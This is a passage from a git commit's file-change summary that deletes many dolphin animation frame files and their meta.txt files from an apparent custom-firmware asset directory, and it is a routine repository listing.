mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/frame_9.bm delete mode 100644 assets/resources/dolphin/L1_Furippa1_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_11.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_12.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_8.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/frame_9.bm delete mode 100644 assets/resources/dolphin/L1_Happy_holidays_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L1_Laptop_128x51/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Laptop_128x51/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Laptop_128x51/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Laptop_128x51/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Laptop_128x51/frame_4.bm delete mode 100644 assets/resources/dolphin/L1_Laptop_128x51/frame_5.bm delete mode 100644 assets/resources/dolphin/L1_Laptop_128x51/frame_6.bm delete mode 100644 assets/resources/dolphin/L1_Laptop_128x51/frame_7.bm delete mode 100644 assets/resources/dolphin/L1_Laptop_128x51/meta.txt delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_11.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_12.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_8.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/frame_9.bm delete mode 100644 assets/resources/dolphin/L1_Leaving_sad_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_11.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_12.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_13.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_8.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/frame_9.bm delete mode 100644 assets/resources/dolphin/L1_Mad_fist_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_11.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_12.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_13.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_14.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_15.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_16.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_17.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_18.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_19.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_20.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_21.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_22.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_23.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_24.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_25.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_26.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_27.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_28.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_29.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_30.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_31.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_32.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_33.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_34.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_35.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_36.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_37.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_38.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_39.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_40.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_8.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/frame_9.bm delete mode 100644 assets/resources/dolphin/L1_Mods_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/frame_11.bm delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/frame_8.bm delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/frame_9.bm delete mode 100644 assets/resources/dolphin/L1_Painting_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L1_Read_books_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Read_books_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Read_books_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Read_books_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Read_books_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L1_Read_books_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L1_Read_books_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L1_Read_books_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L1_Read_books_128x64/frame_8.bm delete mode 100644 assets/resources/dolphin/L1_Read_books_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/frame_10.bm delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/frame_11.bm delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/frame_4.bm delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/frame_5.bm delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/frame_6.bm delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/frame_7.bm delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/frame_8.bm delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/frame_9.bm delete mode 100644 assets/resources/dolphin/L1_Recording_128x51/meta.txt delete mode 100644 assets/resources/dolphin/L1_Sleep_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Sleep_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Sleep_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Sleep_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Sleep_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_11.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_12.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_13.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_14.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_15.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_16.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_17.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_18.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_19.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_20.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_21.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_22.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_23.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_24.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_25.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_26.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_27.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_28.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_29.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_30.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_31.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_32.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_33.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_34.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_35.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_36.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_8.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/frame_9.bm delete mode 100644 assets/resources/dolphin/L1_Sleigh_ride_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L1_Waves_128x50/frame_0.bm delete mode 100644 assets/resources/dolphin/L1_Waves_128x50/frame_1.bm delete mode 100644 assets/resources/dolphin/L1_Waves_128x50/frame_2.bm delete mode 100644 assets/resources/dolphin/L1_Waves_128x50/frame_3.bm delete mode 100644 assets/resources/dolphin/L1_Waves_128x50/meta.txt delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_11.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_12.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_13.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_14.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_15.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_16.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_17.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_18.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_8.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/frame_9.bm delete mode 100644 assets/resources/dolphin/L2_Furippa2_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L2_Hacking_pc_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L2_Hacking_pc_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L2_Hacking_pc_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L2_Hacking_pc_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L2_Hacking_pc_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L2_Hacking_pc_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L2_Soldering_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L2_Soldering_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L2_Soldering_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin/L2_Soldering_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L2_Soldering_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L2_Soldering_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L2_Soldering_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L2_Soldering_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L2_Soldering_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L2_Soldering_128x64/frame_8.bm delete mode 100644 assets/resources/dolphin/L2_Soldering_128x64/frame_9.bm delete mode 100644 assets/resources/dolphin/L2_Soldering_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_11.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_12.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_13.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_14.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_15.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_16.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_17.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_18.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_19.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_20.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_8.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/frame_9.bm delete mode 100644 assets/resources/dolphin/L2_Wake_up_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_11.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_12.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_13.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_14.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_15.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_16.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_17.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_18.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_8.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/frame_9.bm delete mode 100644 assets/resources/dolphin/L3_Furippa3_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_0.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_1.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_10.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_11.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_12.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_13.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_2.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_3.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_4.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_5.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_6.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_7.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_8.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/frame_9.bm delete mode 100644 assets/resources/dolphin/L3_Hijack_radio_128x64/meta.txt delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_0.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_1.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_10.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_11.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_12.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_13.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_2.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_3.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_4.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_5.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_6.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_7.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_8.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/frame_9.bm delete mode 100644 assets/resources/dolphin/L3_Lab_research_128x54/meta.txt delete mode 100644 assets/resources/dolphin/manifest.txt delete mode 100644 assets/resources/dolphin/name.txt.example delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_1/meta.txt delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_21.bm delete mode 